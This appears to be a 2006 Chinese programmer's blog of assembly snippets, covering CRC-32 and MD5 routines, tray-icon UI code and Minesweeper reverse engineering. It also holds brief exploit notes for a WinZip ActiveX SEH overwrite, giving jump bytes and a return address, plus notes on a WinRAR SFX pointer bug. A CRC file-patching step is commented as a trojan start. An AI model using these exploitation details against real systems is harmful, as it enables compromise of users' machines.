;invoke wsprintf, addr szText, addr szTemplate, addr szBuffer2, eax
;好啦,让我们显示结果:
;invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
;----------写第二个CRC
invoke CreateFileA,offset szBuffer2,GENERIC_WRITE,FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov pochand,eax
invoke SetFilePointer,pochand,8d,NULL,FILE_BEGIN ;木马开始
invoke _lwrite,pochand,offset szBuffer,4
invoke CloseHandle,pochand
;---------
.ENDIF
.endif
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
WndProc endp
;**********************************************************
;函数功能:生成CRC-32表
;**********************************************************
init_crc32table proc
;如果用C语言来表示,应该如下:
;
; for (i = 0; i < 256; i++)
; {
; crc = i;
; for (j = 0; j < 8; j++)
; {
; if (crc & 1)
; crc = (crc >> 1) ^ 0xEDB88320;
; else
; crc >>= 1;
; }
; crc32tbl[i] = crc;
; }
;
;呵呵,让我们把上面的语句改成assembly的:
mov ecx, 256 ; repeat for every DWORD in table
mov edx, 0EDB88320h
$BigLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
$SmallLoop:
shr eax, 1
jnc @F
xor eax, edx
@@:
dec ecx
jne $SmallLoop
pop ecx
mov [crc32tbl+ecx*4-4], eax
dec ecx
jne $BigLoop
ret
init_crc32table endp
;**************************************************************
;函数功能:计算CRC-32
;**************************************************************
arraycrc32 proc uses ebx
;计算 CRC-32 ,我采用的是把整个字符串当作一个数组,然后把这个数组的首地址赋值给 EBX,
;把数组的长度赋值给 ECX,然后循环计算,返回值(计算出来的 CRC-32 值)储存在 EAX 中:
;
; 参数:
; EBX = address of first byte
; ECX = number of bytes in array
; 返回值:
; EAX = CRC-32 of the entire array
mov eax, -1 ; 先初始化eax
or ecx, ecx
jz $Done ;如果表为空,就bye bye
or ebx, ebx
jz $Done ; 避免出现空指针
@@:
mov dl, [ebx]
;这里我用查表法来计算 CRC-32 ,因此非常快速:
;因为这是assembly代码,所以不需要给这个过程传递参数,只需要把oldcrc赋值给EAX,以及把byte赋值给DL:
;
; 在C语言中的形式:
;
; temp = (oldcrc ^ abyte) & 0x000000FF;
; crc = (( oldcrc >> 8) & 0x00FFFFFF) ^ crc32tbl[temp];
;
; 参数:
; EAX = old CRC-32
; DL = a byte
; 返回值:
; EAX = new CRC-32
; EDX = ?
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, [crc32tbl+edx*4]
inc ebx
dec ecx
jne @B
not eax
$Done:
ret
arraycrc32 endp
end main
;*************************** over ***************************************
;by LC && czy
2006年11月23日

发现PDF的洞和RAR的一样随便啥后缀都行,程序只认文件格式,爽呀.
2006年11月17日

网上有些MD5_CTX结构的定义应该是有问题的.
/* Data structure for MD5 (Message-Digest) computation */
typedef struct {
ULONG i[2]; /* number of _bits_ handled mod 2^64 */
ULONG buf[4]; /* scratch buffer */
unsigned char in[64]; /* input buffer */
unsigned char digest[16]; /* actual digest after MD5Final call */
} MD5_CTX;
有些又是:
typedef struct {
UINT4 state[4];
UINT4 count[2];
unsigned char buffer[64];
} MD5_CTX;
;md5 hash calc
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
.const
IDI_SM equ 1 ;图标
IDC_EDIT_TEXT equ 1001
IDC_EDIT_128 equ 1002
IDC_EDIT_CHG equ 1003
IDC_BUTTON_OK equ 1004
IDC_OUTTYPE equ 1005
IDC_OUTTYPE2 equ 1006
RGB MACRO red, green, blue
xor eax, eax
mov al, blue ; blue
rol eax, 8
mov al, green ; green
rol eax, 8
mov al, red ; red
ENDM
MD5_CTX struct
state dd 2 dup (?)
count dd 4 dup (?)
digest dw 16 dup (?)
buffer dw 64 dup (?)
MD5_CTX ends
.data
szDlgName db "md5hash_dialog", 0
hInstance dd ?
advdll db "advapi32.dll",0
md5init db 'MD5Init',0
md5update db 'MD5Update',0
md5final db 'MD5Final',0
format db '%02X',0
format2 db '%02x',0
outtype dd 1
.data?
string db 256 dup(?)
contex MD5_CTX <>
buffer db 64 dup (?)
tempbuffer db 64 dup (?)
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke DialogBoxParam, hInstance, offset szDlgName, 0, WndProc, 0
invoke ExitProcess, eax
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
local hBrush :dword
local rect:RECT
local LogBrush:LOGBRUSH
.if uMsg == WM_CLOSE
invoke EndDialog, hWnd, 0
.elseif uMsg == WM_INITDIALOG
invoke LoadIcon, hInstance, IDI_SM
invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
invoke CheckDlgButton,hWnd,IDC_OUTTYPE,BST_CHECKED ;默认大写方式输出HASH
.elseif uMsg == WM_CTLCOLORSTATIC
RGB 180,100,100
invoke SetBkColor,wParam,eax
invoke GetStockObject,HOLLOW_BRUSH
ret
.elseif uMsg == WM_ERASEBKGND
mov LogBrush.lbStyle,BS_SOLID
RGB 180,100,100
mov LogBrush.lbColor,eax
invoke CreateBrushIndirect,addr LogBrush
mov hBrush,eax
invoke GetClientRect,hWnd,addr rect
invoke FillRect,wParam,addr rect,hBrush
mov eax,TRUE
ret
.elseif uMsg == WM_COMMAND
mov eax, wParam
mov edx, eax
shr edx, 16
movzx eax, ax
.if edx == BN_CLICKED ;处理按键消息
.if eax == IDC_BUTTON_OK ;生成
invoke GetDlgItemText, hWnd, IDC_EDIT_TEXT, offset string,255
invoke LoadLibrary,offset advdll
mov edi,eax
invoke GetProcAddress,edi,offset md5init
mov esi,eax
push offset contex
call esi
invoke GetProcAddress,edi,offset md5update
mov esi,eax
invoke lstrlen,offset string
push eax
push offset string
push offset contex
call esi
invoke GetProcAddress,edi,offset md5final
mov esi,eax
push offset contex
call esi
mov esi,offset contex
add esi,88d
xor ebx,ebx
.while ebx<16
xor eax,eax
movzx ax,byte ptr [esi]
.if outtype == 1
invoke wsprintf,offset buffer,offset format,ax ;大写
.else
invoke wsprintf,offset buffer,offset format2,ax ;小写
.endif
invoke lstrcat,offset tempbuffer,offset buffer
inc esi
inc ebx
.endw
invoke SetDlgItemText, hWnd, IDC_EDIT_128, offset tempbuffer
mov esi,offset tempbuffer
add esi,8
mov edi,esi
add edi,16
xor eax,eax
mov [edi],eax
invoke SetDlgItemText, hWnd, IDC_EDIT_CHG,esi
invoke RtlZeroMemory,offset tempbuffer,64
.elseif eax == IDC_OUTTYPE
mov outtype,1
.elseif eax == IDC_OUTTYPE2
mov outtype,0
.endif
.endif ;end of bn_clicked
.else
mov eax, FALSE
ret
.endif
mov eax, TRUE
ret
WndProc endp
end start

主要难度还是处理一些不常用的非客户区消息:)
不过真的要写完美我想应该要判断系统中窗口的风格,我这儿只是经典风格,如果是XP风格就难看咯.
TIP控件:
invoke CreateWindowEx,NULL,offset ToolTipClass,NULL,WS_POPUP or TTS_NOPREFIX or TTS_ALWAYSTIP\
or WS_EX_TOOLWINDOW or WS_EX_TOPMOST,CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT,\
hWnd, NULL, hInstance,NULL
mov hToolTip,eax
mov ti.cbSize,sizeof TOOLINFO
mov ti.uFlags,TTF_IDISHWND
push hWinMain
pop ti.hWnd
push hWinMain
pop ti.uId
mov ti.lpszText,LPSTR_TEXTCALLBACK
invoke SendMessage,hToolTip,TTM_ADDTOOL,0,addr ti
invoke SendMessage,hToolTip,TTM_ACTIVATE,1,0
;%
;加载最小化到托盘的标题栏图标
INVOKE ImageList_Create, 16, 14, ILC_COLOR32 , 2, 0
mov hImageListTitle, eax
INVOKE LoadBitmap, hInstance, IDB_TITLEBUTTONBMP
mov hBitmap, eax
INVOKE ImageList_Add, hImageListTitle, hBitmap, NULL
INVOKE DeleteObject, hBitmap
;托盘右键菜单
invoke CreatePopupMenu
mov hTrayMenu,eax
invoke AppendMenu,hTrayMenu,MF_STRING,IDM_EXITSERVER,offset exitserver
invoke AppendMenu,hTrayMenu,MF_STRING,IDM_RESTOREWIN,offset restorewin
通知消息部分:
mov edi,lParam
assume edi:ptr NMHDR
.if [edi].code == TTN_GETDISPINFO
mov eax,[edi].hwndFrom
.if eax == hToolTip
mov edi,lParam
assume edi:ptr TOOLTIPTEXT
mov eax,offset sztraytip
mov [edi].lpszText,eax
mov [edi].uFlags,TTF_IDISHWND
assume edi:nothing
.else
..........some other code...
.endif
.endif
WM消息部分:
.elseif uMsg==WM_SHELLNOTIFY
.if lParam==WM_RBUTTONUP
invoke GetCursorPos,addr Pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hTrayMenu,TPM_RIGHTALIGN,Pt.x,Pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd, WM_USER, 0, 0
.elseif lParam==WM_LBUTTONDOWN
invoke ShowWindow,hWnd,SW_RESTORE
invoke Shell_NotifyIcon,NIM_DELETE,addr note
invoke SetForegroundWindow,hWnd
invoke SendMessage,hWnd,WM_NCPAINT,0,0
.endif
.elseif uMsg==WM_ACTIVATE
invoke SendMessage,hWnd,WM_NCPAINT,0,0
.elseif uMsg==WM_NCPAINT
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
invoke GetWindowDC,hWnd
mov esi,eax
invoke GetWindowRect,hWnd,addr rc
mov edx,rc.left
mov edi,rc.right
sub edi,edx
sub edi,90;72
invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
invoke DrawIconEx,esi,edi,6,eax,16,14,NULL,NULL,DI_IMAGE ;画小图标
invoke ReleaseDC,hWnd,esi
.elseif uMsg==WM_NCLBUTTONDOWN
invoke GetCursorPos,addr Pt
invoke GetWindowRect,hWnd,addr rc
mov edx,rc.left
mov edi,rc.top
mov eax,Pt.x
sub eax,edx
mov ecx,Pt.y
sub ecx,edi
mov esi,rc.right
sub esi,edx
sub esi,90;72
mov edi,esi
add edi,16
.if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
invoke GetWindowDC,hWnd
mov edi,eax
invoke ImageList_GetIcon,hImageListTitle,1,ILD_NORMAL
invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE ;画按下图标
invoke ReleaseDC,hWnd,edi
mov clickmytitle,1
.else
mov clickmytitle,0
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
.endif
invoke SendMessage,hToolTip,TTM_POP,0,0
.elseif uMsg==WM_NCMOUSEMOVE
invoke GetCursorPos,addr Pt
invoke GetWindowRect,hWnd,addr rc
mov edx,rc.left
mov edi,rc.top
mov eax,Pt.x
sub eax,edx
mov ecx,Pt.y
sub ecx,edi
mov esi,rc.right
sub esi,edx
sub esi,90;72
mov edi,esi
add edi,16
.if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
.if clickmytitle == 1
invoke GetWindowDC,hWnd
mov edi,eax
invoke ImageList_GetIcon,hImageListTitle,1,ILD_NORMAL
invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE ;画小图标
invoke ReleaseDC,hWnd,edi
.endif
;;--------
push hWnd
pop msg.hwnd
mov msg.message,WM_MOUSEMOVE;
;mov msg.lParam,MAKELONG(Pt.x, Pt.y);
;lea eax,msg.lParam
;assume eax:ptr POINT
;mov ecx,Pt.x
;mov [eax].x,ecx
;mov ecx,Pt.y
;mov [eax].y,ecx
;assume eax:nothing
invoke SendMessage,hToolTip,TTM_RELAYEVENT,0,addr msg
;;--------
.else
invoke GetWindowDC,hWnd
mov edi,eax
invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE ;画小图标
invoke ReleaseDC,hWnd,edi
invoke SendMessage,hToolTip,TTM_POP,0,0
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
;mov clickmytitle,0
.endif
.elseif uMsg==WM_NCLBUTTONUP
invoke GetCursorPos,addr Pt
invoke GetWindowRect,hWnd,addr rc
mov edx,rc.left
mov edi,rc.top
mov eax,Pt.x
sub eax,edx
mov ecx,Pt.y
sub ecx,edi
mov esi,rc.right
sub esi,edx
sub esi,90;72
mov edi,esi
add edi,16
.if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
.if clickmytitle ==1
;;--------
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,0
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,hInstance,IDI_LINKSERVER;IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke Shell_NotifyIcon,NIM_ADD,addr note
invoke ShowWindow,hWnd,SW_HIDE
;;--------
mov clickmytitle,0
.endif
.else
invoke GetWindowDC,hWnd
mov edi,eax
invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE ;画小图标
invoke ReleaseDC,hWnd,edi
mov clickmytitle,0
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
.endif
随WINZIP10安装的那个WZFILEVIEW.FileViewCtrl.61控件的漏洞其实非常简单
覆盖SEH链中的第二个就可以了.不过实际利用中遇到几个怪问题:
1.一般的EB069090得改成0B,为什么哩,跳转地址后头不知道从哪儿多了四个FF,06+04=0AH的但是哩在网页代码头0A又是回车.所以只有改成0B,要不改成9090EB08:)不过还是搞不懂FF哪儿来的.
2.简中下测试,我发现超长串要经过widechartomulitbyte处理,这样的话eb0b9090和7ffa1571都会被转化.
想了半天想不出不让它转化的办法唉.不过英文2KSP4下测试成功率到还可以.
2006年10月20日
:0100212D 8B0D18510001 mov ecx, dword ptr [01005118] ;列
:01002133 8BF0 mov esi, eax
:01002135 A11C510001 mov eax, dword ptr [0100511C] ;行
:0100213A C1E005 shl eax, 05 ;乘32(2的5次方)
:0100213D 8A840840530001 mov al, byte ptr [eax+ecx+01005340] ;01005340是静态数据区中记录雷区表的起始地址
;如果AL为8F说明有雷,AL为0F说明没有雷
:01002144 2480 and al, 80
:01002146 F6D8 neg al
:01002148 1BC0 sbb eax, eax
:0100214A 25010000FF and eax, FF000001
:0100214F 05FFFFFF00 add eax, 00FFFFFF
:01002154 50 push eax
;如果EAX为00ffffff那么画白色说明没雷,EAX为00000000那么画黑色说明有雷
:01002155 57 push edi
:01002156 57 push edi
:01002157 56 push esi
* Reference To: GDI32.SetPixel, Ord:022Fh
|
:01002158 FF1558100001 Call dword ptr [01001058]
2006年9月1日
winrar3.6beta7也有效.
出错的代码为
mov ecx,[edx]
call [ecx+8]
edx是可以控制的.比较典型的指针错误.但引起这个错误还是
因为路径长度判断出错.
比较郁闷的是出错的文件格式为SFX.
2006年8月16日